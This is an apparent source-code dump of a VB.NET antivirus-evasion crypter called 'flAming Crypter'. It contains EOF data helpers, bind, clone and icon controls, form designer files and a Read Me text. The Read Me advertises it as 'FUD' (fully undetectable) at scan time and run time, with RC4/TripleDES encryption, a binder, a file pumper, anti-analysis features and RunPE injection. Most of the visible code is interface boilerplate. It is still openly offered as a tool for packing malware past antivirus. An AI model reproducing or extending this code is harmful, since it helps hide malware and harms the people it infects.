Dim sEOFBuf, sFileBuf, sChar As String
|
||||
Dim lPos2, lFF, lPos, lCount As Integer
|
||||
If Dir(FilePath) = "" Then GoTo Err_Renamed
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
lPos = InStr(1, StrReverse(sFileBuf), GetNullBytes(30))
|
||||
sEOFBuf = (Mid(StrReverse(sFileBuf), 1, lPos - 1))
|
||||
ReadEOFData = StrReverse(sEOFBuf)
|
||||
If ReadEOFData = "" Then
|
||||
End If
|
||||
Exit Function
|
||||
Err_Renamed:
|
||||
ReadEOFData = vbNullString
|
||||
End Function
|
||||
|
||||
Sub WriteEOFData(ByRef FilePath As String, ByRef EOFData As String)
|
||||
Dim sFileBuf As String
|
||||
Dim lFF As Integer
|
||||
On Error Resume Next
|
||||
If Dir(FilePath) = "" Then Exit Sub
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
sFileBuf = Space(LOF(lFF))
|
||||
FileGet(lFF, sFileBuf)
|
||||
FileClose(lFF)
|
||||
Kill(FilePath)
|
||||
lFF = FreeFile()
|
||||
FileOpen(lFF, FilePath, OpenMode.Binary)
|
||||
FilePut(lFF, sFileBuf & EOFData)
|
||||
FileClose(lFF)
|
||||
End Sub
|
||||
|
||||
Public Function GetNullBytes(ByRef lNum As Object) As String
|
||||
Dim sBuf As String
|
||||
Dim i As Short
|
||||
For i = 1 To lNum
|
||||
sBuf = sBuf & Chr(0)
|
||||
Next
|
||||
GetNullBytes = sBuf
|
||||
End Function
|
||||
|
||||
Private Sub CheckClone_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckClone.CheckedChanged
|
||||
If CheckClone.Checked = True Then
|
||||
BtnClone.Enabled = True
|
||||
ElseIf CheckClone.Checked = False Then
|
||||
BtnClone.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckIcon_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckIcon.CheckedChanged
|
||||
If CheckIcon.Checked = True Then
|
||||
BtnIcon.Enabled = True
|
||||
ElseIf CheckIcon.Checked = False Then
|
||||
BtnIcon.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CheckBind_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBind.CheckedChanged
|
||||
If CheckBind.Checked = True Then
|
||||
BtnBind.Enabled = True
|
||||
ElseIf CheckBind.Checked = False Then
|
||||
BtnBind.Enabled = False
|
||||
End If
|
||||
End Sub
|
||||
Private Sub frmMain_Closing(ByVal sender As Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles MyBase.Closing
|
||||
Form2.Close()
|
||||
End Sub
|
||||
End Class
|
||||
+83
@@ -0,0 +1,83 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Form2
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form2))
|
||||
Me.Label1 = New System.Windows.Forms.Label
|
||||
Me.Button1 = New System.Windows.Forms.Button
|
||||
Me.Button2 = New System.Windows.Forms.Button
|
||||
Me.SuspendLayout()
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.AutoSize = True
|
||||
Me.Label1.Location = New System.Drawing.Point(12, 9)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(352, 325)
|
||||
Me.Label1.TabIndex = 0
|
||||
Me.Label1.Text = resources.GetString("Label1.Text")
|
||||
Me.Label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter
|
||||
'
|
||||
'Button1
|
||||
'
|
||||
Me.Button1.Image = CType(resources.GetObject("Button1.Image"), System.Drawing.Image)
|
||||
Me.Button1.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
|
||||
Me.Button1.Location = New System.Drawing.Point(323, 337)
|
||||
Me.Button1.Name = "Button1"
|
||||
Me.Button1.Size = New System.Drawing.Size(46, 23)
|
||||
Me.Button1.TabIndex = 1
|
||||
Me.Button1.Text = "Exit"
|
||||
Me.Button1.TextAlign = System.Drawing.ContentAlignment.MiddleRight
|
||||
Me.Button1.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Button2
|
||||
'
|
||||
Me.Button2.Image = CType(resources.GetObject("Button2.Image"), System.Drawing.Image)
|
||||
Me.Button2.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft
|
||||
Me.Button2.Location = New System.Drawing.Point(274, 337)
|
||||
Me.Button2.Name = "Button2"
|
||||
Me.Button2.Size = New System.Drawing.Size(43, 23)
|
||||
Me.Button2.TabIndex = 2
|
||||
Me.Button2.Text = "Ok"
|
||||
Me.Button2.TextAlign = System.Drawing.ContentAlignment.MiddleRight
|
||||
Me.Button2.UseVisualStyleBackColor = True
|
||||
'
|
||||
'Form2
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(381, 363)
|
||||
Me.Controls.Add(Me.Button2)
|
||||
Me.Controls.Add(Me.Button1)
|
||||
Me.Controls.Add(Me.Label1)
|
||||
Me.Name = "Form2"
|
||||
Me.ShowIcon = False
|
||||
Me.Text = "Read Me"
|
||||
Me.ResumeLayout(False)
|
||||
Me.PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents Button1 As System.Windows.Forms.Button
|
||||
Friend WithEvents Button2 As System.Windows.Forms.Button
|
||||
End Class
|
||||
@@ -0,0 +1,182 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<data name="Label1.Text" xml:space="preserve">
|
||||
<value>Hello and welcome to flAming Crypter!
|
||||
|
||||
flAming Crypter is made in VB.NET so it requires .NET framework to work.
|
||||
|
||||
flAming Crypter is FUD Scantime+Runtime crypter.
|
||||
|
||||
flAming Crypter has been tested and works on Windows XP/7/Vista.
|
||||
|
||||
It has 2 encryption methods, RC4 and TripleDES.
|
||||
|
||||
Everytime the crypter starts there is a new encryption key.
|
||||
|
||||
It has built in an icon changer, file cloner, binder, file pumper, antis.
|
||||
|
||||
Made by flAmingw0rm.
|
||||
|
||||
Special Thanks to: t0fx (The source code, RunPE are made by him)
|
||||
|
||||
I just edited a few things and added EOF support!
|
||||
|
||||
Thanks to:
|
||||
Romeo
|
||||
RedTube
|
||||
|
||||
~ Enjoy ~</value>
|
||||
</data>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="Button1.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAjRJREFUOE+Vk+1P
|
||||
UmEYxl1b21l/Q0W5msuT01xvpoBHRYhp2qa8C8IhURMQOIOhxKoPtfWX9HdpVsabkRzg8ByubjDQs2Mf
|
||||
/PBsz3ae63ff93XdZwDAwFVOY128cfG9VixlDJAy/P+AjUCIr3vX4jWH29R7cw7oiDN7aKezUONJHaTh
|
||||
D/KNYBjNzW38eb3ytbq49KADOQP8EyP/AW06akJCa2unD6mvrfNUHa1oHMjl0bmfWO3x8ozl2hkgleba
|
||||
CUlt770DPn+Bms11AGgGRb7uC/BUHcpODKDv9UAQJ/MvWVmYu37eAUHUWIJjb2NMlTLAx09gqTQaoTCo
|
||||
OpTtKJDd794rFhuJZzm9BwRpRba4prjBWtFdIP8e2M+TMAdksqj7/KjMWVl5eqYv1nTQI1K7nOxZU5Gl
|
||||
cbx+wOUFpDQqs/NqySxoxJcCZLevExVAacDhBlacwG6S5rahMDGlS0ezB7LLy8seH5RwBEhKJEwBMRqH
|
||||
DKyvOlE2mvFzbFwD6QNqTg8vu71QxA2AYpRdHpBZrDhlUk8Xl4HIJmqvllF4/BRHQ8N9SBdAm8VTdSih
|
||||
N1Q1AZlaJ7NYcdLEFZ5NcMfjT1jVYgVCIk5tdhyPjOLwzmAX0gXQZgk1hwtKUIS86gKZxYovjH3DfoyM
|
||||
cd+HH7LfZgGyfQG/Rh/h4JZB0JhImyVUF5ZQMk2rZJbO7aP7Q9y3wXvsoliXQsloFgrPJ3XiXsSHhrvc
|
||||
wc3b3cqXLtJVfuve279yu6THdnerNQAAAABJRU5ErkJggg==
|
||||
</value>
|
||||
</data>
|
||||
<data name="Button2.Image" type="System.Drawing.Bitmap, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8
|
||||
YQUAAAAgY0hSTQAAeiYAAICEAAD6AAAAgOgAAHUwAADqYAAAOpgAABdwnLpRPAAAAqdJREFUOE9tU01L
|
||||
alEU9fkDnPsT/BcNnDgJ0omYkyyIEosmRYpSlkQUNDAHpU+KLCMVVFBRTO3LPm9ZlCSmA00uCTlylvfu
|
||||
t/cBrR4K6r3nnLX2Wmvv8wcAJP0+d3d3o51ORy8IguTr68s3MDDwt+9BIuh+Hx8fFff397Lb21vp5eVl
|
||||
s9FowPv7OwSDwWY8HpdGo1FZKBRS/MT8BLsRLNzc3PD5fF5+enrKV6tVqFQqgEA+EonIkYj3+/3C3t6e
|
||||
u0vCCAqFguXt7Q0+Pz+hXC4DgtuZTEYsFovw/PwM4XBYRHAblQHP85BIJGBtbc3C7NMPVrWen5+LREKA
|
||||
UqnEiLoE9P709AREcHV1BfPz8+LMzIy1R0APFxcXDgJjeHB9fQ2pVAo8Hg/s7u6SIkBbcHJywqqvrq46
|
||||
ehaQkcPq9Vwu13p9fQWO4yCdToPdbs/Pzc0pbTabcmNjI392dsaIaH99fb21srJSX1pa4iQIFj4+Pphc
|
||||
qoxBwv7+PiwvLyu7Vba3t5WYAeBZpozUULhGo1GQZLNZoVarMY+0QRUwcXA6nT0Cl8ulPDw8ZArIAqpl
|
||||
50dGRgQJtoRDifWdnZ3Ww8MDI6EcvF5vfmtrS7m5uckskH+ylkwmYWxsrKXVausajYbrzQFKdGCQLCj6
|
||||
x0GCo6MjwL6zNWwrxGIxtjYxMfEdIvkMBALWg4MD8eXlhYGpXTiVLBMiIkW0fnx8zPampqbE8fHx7zb6
|
||||
fD4LyaPJQyLAdNsOh0Ok0Mi3yWQSEdSmPfK+sLAAarX6e5BIxeLiont6elpAf/zs7KwcSXiqRgoMBgOv
|
||||
0+nk6JsfHBwUVCrV71HutgsJFJOTkzKz2SxFwiZJxnsAw8PDTSSQ6vV6GRL0v0w/bxg9o+xRrJgdGhrK
|
||||
otzR//e77/8AFBLAlvw+qL4AAAAASUVORK5CYII=
|
||||
</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,12 @@
|
||||
Public Class Form2
|
||||
|
||||
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
|
||||
Form1.Close()
|
||||
Me.Close()
|
||||
End Sub
|
||||
|
||||
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
|
||||
Me.Hide()
|
||||
Form1.Show()
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.flAmingCrypter.Form2
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form2</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("flAming Crypter")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("")>
|
||||
<Assembly: AssemblyCopyright("")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("e56b6721-eea5-41c2-8f5b-6da97bbcc818")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,63 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("flAmingCrypter.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,117 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.42000
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
